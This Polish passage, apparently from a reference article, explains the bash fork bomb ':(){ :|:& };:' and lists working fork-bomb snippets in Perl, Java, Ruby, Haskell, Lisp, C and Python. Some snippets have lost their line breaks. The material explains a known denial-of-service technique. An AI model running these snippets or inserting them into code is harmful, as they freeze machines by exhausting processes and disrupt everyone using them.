bash :(){ :|:& };: Wyjaśnienie: zdefiniowana jest tutaj funkcja o nazwie „:” nie przyjmująca żadnego parametru. W swoim ciele (ograniczanym przez "{" i "}") wywołuje się rekurencyjnie dwukrotnie, przekierowując wyjście pierwszego wywołania na wejście drugiego wywołania poprzez mechanizm nienazwanych potoków (pipes, „|”) i przechodzi do tła – „&” – : dzięki czemu zabicie procesu-rodzica nie zabije procesów-potomków. Średnik kończy definicję funkcji, a końcowy dwukropek jest jej pierwszym wywołaniem. Poniżej znajduje się bardziej przejrzysty zapis (zmieniono nazwę funkcji): bomba() { bomba | bomba & }; bomba
perl perl -e "fork while fork"
Java: public class ForkBomb { public static void main(String[] args)
while(true)
Runtime.getRuntime().exec(new String[]{"javaw", "-cp", System.getProperty("java.class.path"), "ForkBomb"});
Ruby: loop { fork { load(__FILE__) } }
Alternatywna postać: loop do fork do load(__FILE__) end end
Haskell: import Control.Monad (forever) import System.Posix.Process (forkProcess)
forkBomb = forever $ forkProcess forkBomb
main = forkBomb
Common Lisp (Clozure CL): (loop (#_fork))
C: #include <unistd.h>
int main(void) { while(1) fork(); }
Python: import os while os.fork() == 0: os.fork()